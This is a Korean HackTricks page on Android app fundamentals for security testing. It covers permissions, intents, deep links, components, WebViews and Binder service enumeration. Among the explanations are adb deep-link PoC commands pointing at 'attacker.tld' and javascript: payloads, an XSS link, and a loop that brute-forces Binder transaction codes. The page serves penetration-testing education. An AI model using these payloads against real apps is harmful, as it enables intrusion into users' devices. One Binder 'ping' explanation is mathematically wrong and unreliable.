Android 애플리케이션 기초

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Android 보안 모델

두 개의 계층이 있습니다:

  • OS, 설치된 애플리케이션들을 서로 격리시킵니다.
  • application itself, 개발자가 특정 기능을 노출하고 애플리케이션 권한을 구성할 수 있게 합니다.

UID 분리

각 애플리케이션은 특정 User ID가 할당됩니다. 이는 앱 설치 시 수행되며 앱은 자신의 User ID가 소유한 파일 또는 공유된 파일만 조작할 수 있습니다. 따라서 앱 데이터에 접근할 수 있는 것은 해당 앱 자체, OS의 특정 구성요소 및 root 사용자뿐입니다.

UID 공유

두 애플리케이션은 동일한 UID를 사용하도록 구성될 수 있습니다. 이는 정보를 공유하는 데 유용하지만, 그중 하나가 침해되면 두 애플리케이션의 데이터가 모두 침해됩니다. 이 때문에 이러한 동작은 권장되지 않습니다.
동일한 UID를 공유하려면 애플리케이션이 매니페스트에 동일한 android:sharedUserId 값을 정의해야 합니다.

샌드박싱

Android Application Sandbox각 애플리케이션별도의 User ID로 구동되는 별도 프로세스로 실행할 수 있게 합니다. 각 프로세스는 자체 가상 머신을 가지므로 앱 코드는 다른 앱과 격리되어 실행됩니다.
Android 5.0(L)부터 SELinux가 적용됩니다. 기본적으로 SELinux는 모든 프로세스 상호작용을 차단한 뒤, 그들 간의 예상되는 상호작용만 허용하도록 정책을 만듭니다.

권한

앱을 설치하고 권한을 요청할 때, 앱은 AndroidManifest.xml 파일의 uses-permission 요소에 구성된 권한을 요청하는 것입니다. uses-permission 요소는 요청된 권한의 이름을 name 속성 안에 지정합니다. 또한 지정한 버전보다 높은 버전에서는 권한 요청을 중지하는 maxSdkVersion 속성도 있습니다.
안드로이드 애플리케이션은 모든 권한을 처음에 요청할 필요는 없으며, 동적으로 권한을 요청할 수 있지만 모든 권한은 매니페스트에 선언되어야 합니다.

앱이 기능을 노출할 때 지정된 권한을 가진 앱으로만 접근을 제한할 수 있습니다.
permission 요소는 세 가지 속성을 가집니다:

  • 권한의 name
  • 관련 권한을 그룹화할 수 있는 permission-group 속성
  • 권한이 어떻게 부여되는지를 나타내는 protection-level. 유형은 네 가지입니다:
    • Normal: 앱에 알려진 위협이 없을 때 사용됩니다. 사용자의 승인이 필요하지 않습니다.
    • Dangerous: 요청 앱에 확장된 접근 권한을 부여함을 나타냅니다. 사용자 승인이 필요합니다.
    • Signature: 컴포넌트를 내보내는 것과 동일한 인증서로 서명된 앱만 권한을 부여받을 수 있습니다. 가장 강력한 보호 유형입니다.
    • SignatureOrSystem: 컴포넌트를 내보내는 것과 동일한 인증서로 서명된 앱 또는 system-level 접근 권한으로 실행되는 앱만 권한을 부여받을 수 있습니다.

사전 설치된 애플리케이션

이 앱들은 일반적으로 /system/app 또는 /system/priv-app 디렉터리에 위치하며, 일부는 최적화되어 classes.dex 파일이 없는 경우도 있습니다. 이러한 애플리케이션은 종종 너무 많은 권한(예: root 권한)으로 실행되는 경우가 있으므로 점검할 가치가 있습니다.

  • AOSP (Android OpenSource Project) ROM에 포함된 것
  • 기기 제조사가 추가한 것
  • 통신사(휴대전화 제공업체)가 추가한 것(통신사에서 구매한 경우)

Rooting

실제 Android 기기에서 root 접근을 얻으려면 일반적으로 기기와 버전에 특정한 1~2개의 취약점exploit해야 합니다.
exploit가 성공하면 보통 Linux su 바이너리가 사용자의 PATH 환경 변수에 포함된 위치(예: /system/xbin)에 복사됩니다.

su 바이너리가 설치되면, su와 인터페이스하고 root 접근 요청을 처리하는 또 다른 Android 앱(예: Superuser, SuperSU — Google Play 스토어에서 제공)이 사용됩니다.

Caution

루팅 과정은 매우 위험하며 기기에 심각한 손상을 줄 수 있습니다

ROMs

커스텀 펌웨어를 설치하여 OS를 교체할 수 있습니다. 이렇게 하면 오래된 기기의 활용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 Android 코드에 접근할 수 있습니다.
OmniROMLineageOS는 가장 인기 있는 펌웨어 중 두 가지입니다.

커스텀 펌웨어를 설치하기 위해 항상 기기를 root할 필요는 없습니다. 일부 제조사는 부트로더 잠금 해제를 잘 문서화되고 안전한 방식으로 허용합니다.

영향

기기가 root되면 어떤 앱이든 root 권한을 요청할 수 있습니다. 악성 앱이 권한을 얻으면 거의 모든 것에 접근할 수 있으며 기기를 손상시킬 수 있습니다.

Android 애플리케이션 기본사항

  • Android 애플리케이션의 포맷은 _APK file format_으로 불립니다. 본질적으로 ZIP file이며(.zip으로 확장자 변경 시 내용물을 추출하여 볼 수 있습니다).
  • APK 구성 요소(모두 나열한 것은 아님)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: 미리 컴파일된 리소스(바이너리 XML 등)를 포함합니다.
  • res/xml/files_paths.xml
  • META-INF/
  • 이곳에 인증서가 위치합니다!
  • classes.dex
  • Dalvik 바이트코드를 포함하며, 애플리케이션이 기본적으로 실행하는 컴파일된 Java(또는 Kotlin) 코드를 나타냅니다.
  • lib/
  • 네이티브 라이브러리를 담고 있으며, CPU 아키텍처별로 하위 디렉터리에 구분되어 있습니다.
    • armeabi: ARM 기반 프로세서용 코드
    • armeabi-v7a: ARMv7 이상 프로세서용 코드
    • x86: X86 프로세서용 코드
    • mips: MIPS 프로세서 전용 코드
  • assets/
  • 앱에 필요한 기타 파일을 저장합니다. 추가 네이티브 라이브러리나 DEX 파일을 포함할 수 있으며, 때로는 악성코드 작성자가 추가 코드를 숨기기 위해 사용합니다.
  • res/
  • resources.arsc로 컴파일되지 않은 리소스를 포함합니다.

Dalvik & Smali

Android 개발에서는 Java 또는 Kotlin으로 앱을 작성합니다. 데스크톱 앱에서 JVM을 사용하는 대신, Android는 이 코드를 Dalvik Executable (DEX) 바이트코드로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 바이트코드를 처리했지만, 최신 Android 버전에서는 Android Runtime(ART)이 이를 대신합니다.

리버스 엔지니어링에서는 Smali가 중요합니다. Smali는 DEX 바이트코드의 사람이 읽을 수 있는 표현으로, 어셈블리 언어처럼 소스 코드를 바이트코드 명령어로 번역합니다. Smali와 baksmali는 이 맥락에서 어셈블리 및 디스어셈블리 도구를 가리킵니다.

Intents

Intents는 Android 앱이 구성요소 간 또는 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 HTTP 통신에서의 GET/POST 요청처럼 앱이나 구성요소 간에 데이터를 전달할 수도 있습니다.

따라서 Intent는 기본적으로 구성요소 간에 전달되는 메시지입니다. Intents는 특정 구성요소나 앱으로 지정하여 보낼 수 있고, 수신자를 지정하지 않고 보낼 수도 있습니다.
간단히 말해 Intent는 다음과 같은 용도로 사용됩니다:

  • Activity를 시작하는 데 사용되며, 일반적으로 앱의 사용자 인터페이스를 엽니다
  • 시스템 및 앱에게 변화를 알리는 브로드캐스트로 사용
  • 백그라운드 서비스의 시작, 중지 및 통신
  • ContentProviders를 통한 데이터 접근
  • 이벤트를 처리하기 위한 콜백으로 사용

취약한 경우, Intents는 다양한 공격에 이용될 수 있습니다.

Intent-Filter

Intent Filtersactivity, service, 또는 Broadcast Receiver가 다양한 유형의 Intents와 어떻게 상호작용할 수 있는지를 정의합니다. 본질적으로 이것들은 해당 구성요소들의 능력을 설명하며, 어떤 액션을 수행할 수 있는지 또는 어떤 브로드캐스트를 처리할 수 있는지를 나타냅니다. 이러한 필터를 선언하는 주요 위치는 AndroidManifest.xml 파일이지만, Broadcast Receiver의 경우 코드로 정의하는 것도 가능합니다.

Intent Filter는 카테고리, 액션, 데이터 필터로 구성되며 추가 메타데이터를 포함할 수 있습니다. 이 구성은 구성요소가 선언된 기준에 일치하는 특정 Intent를 처리할 수 있게 합니다.

Android 구성요소(activities/services/content providers/broadcast receivers)의 중요한 측면은 가시성, 즉 public 상태입니다. 구성요소는 매니페스트에서 exported 속성이 **true**로 설정되어 있거나 Intent Filter가 선언되어 있으면 공개(public)로 간주되어 다른 앱과 상호작용할 수 있습니다. 반대로 개발자는 이러한 구성요소가 의도치 않게 다른 앱과 상호작용하지 않도록 명시적으로 비공개로 유지할 수 있으며, 이는 매니페스트에서 exported 속성을 **false**로 설정함으로써 달성됩니다.

또한 개발자는 특정 권한을 요구하여 이러한 구성요소에 대한 접근을 추가로 보호할 수 있습니다. permission 속성을 설정하면 지정된 권한을 가진 앱만 구성요소에 접근할 수 있도록 강제할 수 있어, 누가 상호작용할 수 있는지에 대한 추가적인 보안 및 제어를 제공합니다.

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

암시적 Intent

Intent 객체는 Intent 생성자를 사용하여 프로그래밍적으로 생성됩니다:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

앞서 선언한 intent의 ActionACTION_SEND이고, Extra는 mailto Uri입니다 (Extra는 intent가 기대하는 추가 정보입니다).

이 intent는 다음 예시와 같이 manifest 내부에 선언되어야 합니다:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

메시지를 수신하려면 intent-filter가 action, datacategory와 일치해야 합니다.

“Intent resolution” 프로세스는 어떤 앱이 각 메시지를 받아야 하는지를 결정합니다. 이 프로세스는 priority attribute를 고려하며, 이는 intent-filter declaration에서 설정할 수 있고 the one with the higher priority will be selected. 이 우선순위는 -1000에서 1000 사이로 설정할 수 있으며 애플리케이션은 SYSTEM_HIGH_PRIORITY 값을 사용할 수 있습니다. 만약 conflict가 발생하면, “choser” Window가 나타나 user can decide 할 수 있습니다.

Explicit Intents

An explicit intent는 대상이 되는 class name을 지정합니다:

Intent downloadIntent = new (this, DownloadService.class):

다른 애플리케이션에서 이전에 선언된 intent에 접근하려면 다음을 사용할 수 있습니다:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

이들은 다른 애플리케이션이 귀하의 앱의 식별자와 권한을 사용해 귀하의 애플리케이션을 대신해 동작을 수행하도록 허용합니다. Pending Intent를 구성할 때는 intent와 수행할 동작을 명시해야 합니다. 선언된 intent가 Explicit하지 않은 경우(어떤 intent가 호출할 수 있는지 선언하지 않은 경우) 악성 애플리케이션이 피해자 앱을 대신해 선언된 동작을 수행할 수 있습니다. 또한, 동작이 지정되지 않은 경우 악성 앱은 피해자를 대신해 임의의 동작을 수행할 수 있습니다.

Broadcast Intents

이전의 한 앱만 수신하는 intent와 달리, broadcast intent는 여러 앱이 수신할 수 있습니다. 다만 API 버전 14부터는 Intent.setPackage를 사용하여 메시지를 수신할 앱을 지정할 수 있습니다.

또는 브로드캐스트를 보낼 때 권한을 지정할 수도 있습니다. 수신자 앱은 해당 권한을 가지고 있어야 합니다.

브로드캐스트에는 두 가지 유형이 있습니다: Normal(비동기)과 Ordered(동기). 순서는 receiver 요소 내에 구성된 priority에 기반합니다. 각 앱은 Broadcast를 처리하거나, 중계하거나, 폐기할 수 있습니다.

Context 클래스의 함수 sendBroadcast(intent, receiverPermission)를 사용해 broadcast를 보낼 수 있습니다.
또는 **LocalBroadCastManager**의 sendBroadcast 함수를 사용하면 메시지가 앱을 벗어나지 않도록 보장합니다. 이를 사용하면 리시버 컴포넌트를 export할 필요조차 없습니다.

Sticky Broadcasts

이 종류의 Broadcast는 전송된 후에도 오랫동안 접근할 수 있습니다.
이것들은 API 레벨 21에서 deprecated되었으며 사용하지 않는 것이 권장됩니다.
어떤 애플리케이션이든 데이터를 스니핑할 수 있고, 수정할 수도 있습니다.

sendStickyBroadcast 또는 sendStickyBroadcastAsUser와 같이 “sticky“라는 단어를 포함한 함수가 있다면, 영향을 확인하고 제거하도록 시도하세요.

Android 애플리케이션에서 deep links는 URL을 통해 직접 Intent를 시작하는 데 사용됩니다. 이는 activity 내에 특정 URL scheme을 선언함으로써 이루어집니다. Android 기기가 해당 스킴의 URL에 접근하려 할 때, 애플리케이션 내에 지정된 activity가 실행됩니다.

스킴은 AndroidManifest.xml 파일에 선언되어야 합니다:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

이전 예제의 scheme은 examplescheme://입니다 (또한 **category BROWSABLE**에 주목하세요)

그런 다음, data 필드에서 hostpath를 지정할 수 있습니다:

<data android:scheme="examplescheme"
android:host="example"
/>

웹에서 접근하려면 다음과 같이 링크를 설정할 수 있습니다:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

앱에서 실행될 코드를 찾으려면, deeplink가 호출하는 Activity로 이동하여 함수 **onNewIntent**를 검색하세요.

Learn how to call deep links without using HTML pages.

  • Entry point discovery: <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" />를 선언한 exported Activities는 조작된 URI(커스텀 스킴 또는 http/https App Links)를 통해 원격으로 접근 가능합니다. login/reset/payment/wallet/admin 키워드를 포함한 경로를 우선 확인하세요.
  • Validation bypass heuristics: endsWith(), contains() 같은 약한 host 검사, 허용적인 regex, 또는 substring allowlists는 보통 공격자가 제어하는 서브도메인, 접두/접미사 트릭, 그리고 URL/UTF‑8 이중 인코딩으로 우회할 수 있습니다.
  • WebView sinks: 핸들러가 들어온 URI나 쿼리 파라미터를 WebView.loadUrl(...)로 전달하면 앱이 임의의 공격자 컨텐츠를 렌더하도록 유도할 수 있습니다. 스킴 검증이 약하면 javascript: 페이로드와 외부 https:// URL도 시도해보세요.
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • 운영 팁: 여러 payload 변형(외부 URL vs javascript:)을 캡처하고 기기/에뮬레이터에서 빠르게 재생하여 실제 문제(open-redirect/auth-bypass/WebView URL injection)와 정적 분석 노이즈를 구분하세요.
  • 자동화: Deep-C는 APK를 디컴파일(apktool + dex2jar + jadx)하여 deeplink 탐색을 자동화하고, exported + browsable activities를 나열하며, 약한 검증과 WebView.loadUrl 흐름을 연관시키고, 실행 준비가 된 adb PoC를 생성합니다(선택적으로 --exec로 자동 실행 가능).

AIDL - Android 인터페이스 정의 언어

**Android Interface Definition Language (AIDL)**은 Android 애플리케이션에서 클라이언트와 서비스 간의 통신을 프로세스 간 통신(IPC)을 통해 용이하게 하기 위해 설계되었습니다. Android에서는 다른 프로세스의 메모리에 직접 접근할 수 없으므로, AIDL은 객체를 운영체제가 이해할 수 있는 형식으로 마샬링하여 서로 다른 프로세스 간의 통신을 쉽게 만듭니다.

핵심 개념

  • Bound Services: 이러한 서비스는 AIDL을 사용한 IPC를 활용하여 activity나 컴포넌트가 서비스에 바인딩하고 요청을 보내며 응답을 받을 수 있게 합니다. 서비스 클래스의 onBind 메서드는 상호작용을 시작하는 데 중요하므로, 취약점을 찾기 위한 보안 검토 시 중요한 영역입니다.

  • Messenger: 바운드 서비스로 동작하며 Messenger는 onBind 메서드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메서드에서의 안전하지 않은 데이터 처리나 민감한 함수 실행 여부를 면밀히 검사하는 것이 중요합니다.

  • Binder: AIDL의 추상화 때문에 Binder 클래스를 직접 사용하는 경우는 드물지만, Binder는 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버 역할을 한다는 점을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 다음 리소스를 참조하세요: https://www.youtube.com/watch?v=O-UHvFjxwZ8.

구성 요소

다음이 포함됩니다: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity 및 기타 activities

Android 앱에서 activities는 화면과 같아 앱 UI의 다른 부분을 보여줍니다. 앱은 여러 개의 activities를 가질 수 있으며, 각 one은 사용자에게 고유한 화면을 제공합니다.

launcher activity는 앱의 주요 진입점으로, 앱 아이콘을 탭할 때 실행됩니다. 이는 앱의 manifest 파일에서 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

모든 앱이 런처 액티비티를 필요로 하는 것은 아니며, 특히 백그라운드 서비스처럼 사용자 인터페이스가 없는 앱은 그렇지 않습니다.

액티비티는 매니페스트에서 “exported“로 표시하면 다른 앱이나 프로세스에서 사용할 수 있게 됩니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있도록 허용합니다:

<service android:name=".ExampleExportedService" android:exported="true"/>

그러나 다른 앱의 액티비티에 접근하는 것이 항상 보안 위험인 것은 아닙니다. 우려는 민감한 데이터가 부적절하게 공유되어 정보 leaks로 이어질 수 있는 경우에 생깁니다.

액티비티의 라이프사이클은 onCreate 메서드에서 시작하며, UI를 설정하고 사용자와의 상호작용을 위해 액티비티를 준비합니다.

Application 서브클래스

Android 개발에서, 앱은 Application 클래스의 서브클래스를 생성할 수 있는 선택권이 있지만 필수는 아닙니다. 이러한 서브클래스가 정의되면 앱 내에서 가장 먼저 인스턴스화되는 클래스가 됩니다. 이 서브클래스에 attachBaseContext 메서드가 구현되어 있다면 onCreate 메서드보다 먼저 실행됩니다. 이 설정은 애플리케이션의 나머지 부분이 시작되기 전에 조기 초기화를 가능하게 합니다.

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Services

Services는 사용자 인터페이스 없이 작업을 수행할 수 있는 백그라운드 구성요소입니다. 이러한 작업은 사용자가 다른 앱으로 전환해도 계속 실행될 수 있어, 서비스는 장시간 실행 작업에 매우 중요합니다.

Services는 다재다능하여 여러 방식으로 시작될 수 있으며, 애플리케이션 진입점으로 서비스를 시작하는 주요 방법은 Intents입니다. 서비스가 startService 메서드로 시작되면 onStart가 실행되고, 명시적으로 stopService가 호출될 때까지 계속 동작합니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존한다면, 클라이언트를 서비스에 바인딩하기 위해 bindService를 사용하고 데이터 전달을 위해 onBind가 호출됩니다.

서비스의 흥미로운 활용 예로는 앱의 사용자 상호작용을 방해하지 않으면서 백그라운드에서 음악을 재생하거나 네트워크 데이터를 가져오는 경우가 있습니다. 또한 동일 기기 내의 다른 프로세스가 접근할 수 있도록 서비스를 exporting할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 설정이 필요합니다:

<service android:name=".ExampleExportedService" android:exported="true"/>

Broadcast Receivers

Broadcast receivers는 메시징 시스템에서 리스너 역할을 하여 여러 애플리케이션이 시스템에서 오는 동일한 메시지에 반응할 수 있게 합니다. 앱은 두 가지 주요 방법으로 receiver를 등록할 수 있습니다: 앱의 Manifest를 통해서 또는 앱 코드 내에서 동적으로 registerReceiver API를 사용하여 등록하는 방법입니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 receiver는 등록 시 권한을 지정할 수도 있습니다.

Intent filters는 두 등록 방식 모두에서 중요하며, 어떤 브로드캐스트가 receiver를 트리거할지 결정합니다. 일치하는 브로드캐스트가 전송되면 receiver의 onReceive 메서드가 호출되어 앱이 예를 들어 저전력 알림에 대응해 동작을 조정하는 등 적절히 반응할 수 있게 합니다.

브로드캐스트는 **비동기(asynchronous)**로 모든 수신자에게 순서 없이 도달하거나, **동기(synchronous)**로 우선순위에 따라 수신자에게 전달될 수 있습니다. 그러나 어떤 앱이 자신에게 우선순위를 부여해 브로드캐스트를 가로챌 수 있다는 잠재적 보안 위험이 있다는 점을 유의해야 합니다.

receiver의 동작을 이해하려면 해당 클래스 내의 onReceive 메서드를 찾아보세요. 이 메서드의 코드는 수신된 Intent를 조작할 수 있으므로, 특히 Ordered Broadcasts에서는 Intent를 수정하거나 제거할 수 있기 때문에 수신자 쪽의 입력 검증이 필요합니다.

Content Provider

Content Providers는 앱 간에 구조화된 데이터 공유를 위해 필수적이며, 데이터 보안을 보장하기 위해 권한을 구현하는 것이 중요합니다. 이들은 데이터베이스, 파일시스템, 또는 웹 등 다양한 소스의 데이터에 앱이 접근할 수 있게 해줍니다. readPermissionwritePermission 같은 특정 권한은 접근 제어에 있어 매우 중요합니다. 또한 앱의 manifest에서 grantUriPermission 설정을 통해 임시 접근을 부여할 수 있으며, 세부적인 접근 제어를 위해 path, pathPrefix, pathPattern 같은 속성을 활용합니다.

취약점을 방지하려면 입력 검증이 무엇보다 중요하며, SQL 인젝션과 같은 취약점을 예방해야 합니다. Content Providers는 기본적으로 insert(), update(), delete(), query() 같은 연산을 지원하여 앱들 간의 데이터 조작 및 공유를 용이하게 합니다.

Permission semantics and pitfalls (Content Providers)

  • If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
  • Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
  • Prefer android:exported=“false” unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.

FileProvider, 특수화된 Content Provider는 파일을 안전하게 공유하는 데 중점을 둡니다. 이는 앱의 manifest에 특정 속성과 함께 정의되어 폴더에 대한 접근을 제어하며, android:exportedandroid:resource가 폴더 구성으로 지정됩니다. 디렉터리를 공유할 때 민감한 데이터가 의도치 않게 노출되지 않도록 주의해야 합니다.

Example manifest declaration for FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

그리고 filepaths.xml에서 공유 폴더를 지정하는 예:

<paths>
<files-path path="images/" name="myimages" />
</paths>

자세한 내용은 다음을 확인하세요:

WebViews

WebViews는 Android 앱 내부의 미니 웹 브라우저와 같아서 웹이나 로컬 파일에서 콘텐츠를 불러옵니다. 일반 브라우저와 유사한 위험에 노출되지만 특정 설정을 통해 이러한 위험을 줄일 수 있습니다.

Android에는 두 가지 주요 WebView 유형이 있습니다:

  • WebViewClient는 기본 HTML 처리에 적합하지만 JavaScript의 alert 함수를 지원하지 않아 XSS 공격을 테스트하는 방식에 영향을 미칩니다.
  • WebChromeClient는 전체 Chrome 브라우저 경험과 더 유사하게 동작합니다.

중요한 점은 WebView 브라우저가 기기 기본 브라우저와 쿠키를 공유하지 않는다는 것입니다.

콘텐츠를 로드할 때는 loadUrl, loadData, loadDataWithBaseURL 같은 메서드를 사용할 수 있습니다. 이러한 URL이나 파일이 안전한지 확인하는 것이 중요합니다. 보안 설정은 WebSettings 클래스로 관리할 수 있습니다. 예를 들어 setJavaScriptEnabled(false)로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.

JavaScript “Bridge“는 Java 객체가 JavaScript와 상호작용할 수 있게 하며, Android 4.2부터는 보안을 위해 메서드를 @JavascriptInterface로 표시해야 합니다.

콘텐츠 접근을 허용하는 것(setAllowContentAccess(true))은 WebView가 Content Providers에 접근할 수 있게 하지만, 콘텐츠 URL이 안전한지 검증되지 않았다면 이는 위험이 될 수 있습니다.

파일 접근을 제어하려면:

  • 파일 접근을 비활성화(setAllowFileAccess(false))하면 파일시스템 접근이 제한되며 특정 assets에 대한 예외가 있지만 민감하지 않은 콘텐츠에만 사용되도록 해야 합니다.

기타 앱 컴포넌트 및 모바일 디바이스 관리

어플리케이션의 디지털 서명

  • Digital signing은 Android 앱에 필수이며 설치 전에 앱이 정당하게 작성되었는지를 보장합니다. 이 과정은 앱 식별을 위한 인증서를 사용하며 설치 시 기기의 패키지 매니저가 이를 검증해야 합니다. 앱은 자체 서명되거나 외부 CA에 의해 인증될 수 있으며, 이는 무단 접근을 방지하고 앱이 전달되는 동안 변조되지 않았음을 보장합니다.

향상된 보안을 위한 앱 검증

  • Android 4.2부터 Verify Apps라는 기능이 있어 사용자가 설치 전에 앱의 안전성을 검사할 수 있습니다. 이 검증 프로세스는 잠재적으로 위험한 앱에 대해 경고하거나 특히 악성인 경우 설치를 차단하여 사용자 보안을 향상시킵니다.

모바일 디바이스 관리(MDM)

  • MDM 솔루션Device Administration API를 통해 모바일 디바이스에 대한 감시와 보안을 제공합니다. 효과적으로 모바일 기기를 관리하고 보호하려면 Android 앱을 설치해야 합니다. 주요 기능에는 비밀번호 정책 강제화, 저장소 암호화 의무화, 원격 데이터 삭제 허용 등이 있어 모바일 디바이스에 대한 포괄적인 제어와 보안을 보장합니다.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

AIDL / Binder 서비스 열거 및 악용

Android Binder IPC는 많은 system and vendor-provided services를 노출합니다. 이러한 서비스들은 적절한 권한 검사 없이 exported 될 경우 attack surface가 됩니다 (AIDL 레이어 자체는 no access-control을 수행합니다).

1. 실행 중인 서비스 발견

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper

출력은 다음과 같은 번호 매겨진 목록입니다:

145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • index (first column)은 런타임에 할당됩니다 – 재부팅 시 이 값에 의존하지 마세요.
  • Binder name (e.g. mtkconnmetrics)은 service call에 전달되는 이름입니다.
  • 대괄호 안의 값은 스텁이 생성된 완전한 형식의 AIDL interface입니다.

2. 인터페이스 디스크립터 얻기 (PING)

모든 Binder 스텁은 자동으로 transaction code 0x5f4e5446 (1598968902 십진수, ASCII “_NTF”)를 구현합니다.

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

유효한 응답은 인터페이스 이름을 UTF-16 문자열로 인코딩하여 Parcel 안에 반환합니다.

3. 트랜잭션 호출

구문: service call <name> <code> [type value ...]

일반적인 인수 지정자:

  • i32 <int> – 부호 있는 32비트 값
  • i64 <long> – 부호 있는 64비트 값
  • s16 <string> – UTF-16 문자열 (Android 13+는 utf16을 사용)

예제 – MediaTek 핸드셋에서 uid 1로 네트워크 모니터링 시작:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing 알 수 없는 메서드

header files를 사용할 수 없을 때, 에러가 다음과 같이 바뀔 때까지 iterate the code 할 수 있습니다:

Result: Parcel(00000000 00000000)  # "Not a data message"

정상적인 Parcel 응답 또는 SecurityException로.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

If the service was compiled with proguard the mapping must be guessed – see next step.

5. onTransact()를 통한 코드 ↔ 메서드 매핑

인터페이스를 구현한 jar/odex를 디컴파일한다 (AOSP stubs는 /system/framework를 확인; OEM은 종종 /system_ext 또는 /vendor를 사용한다). Search for Stub.onTransact() – it contains a giant switch(transactionCode):

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

이제 prototype과 parameter types가 아주 명확해졌다.

6. 권한 검사 누락 찾기

구현(종종 내부 Impl 클래스)은 권한 검사를 담당한다:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

부족한 로직이나 특권 UID의 화이트리스트(예: uid == 1000 /*system*/)의 부재는 취약점 지표이다.

사례 연구 – MediaTek startMonitorProcessWithUid() (transaction 8)는 아무런 권한 검증 없이 Netlink 메시지를 완전히 실행하여, 권한이 없는 앱이 커널의 Netfilter 모듈과 상호작용하고 시스템 로그를 스팸할 수 있게 한다.

7. 평가 자동화

Binder 정찰을 가속화하는 도구/스크립트:

  • binderfs – 각 서비스별 노드를 가진 /dev/binderfs를 노출한다
  • binder-scanner.py – binder 테이블을 순회하고 ACL을 출력한다
  • Frida 바로가기: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기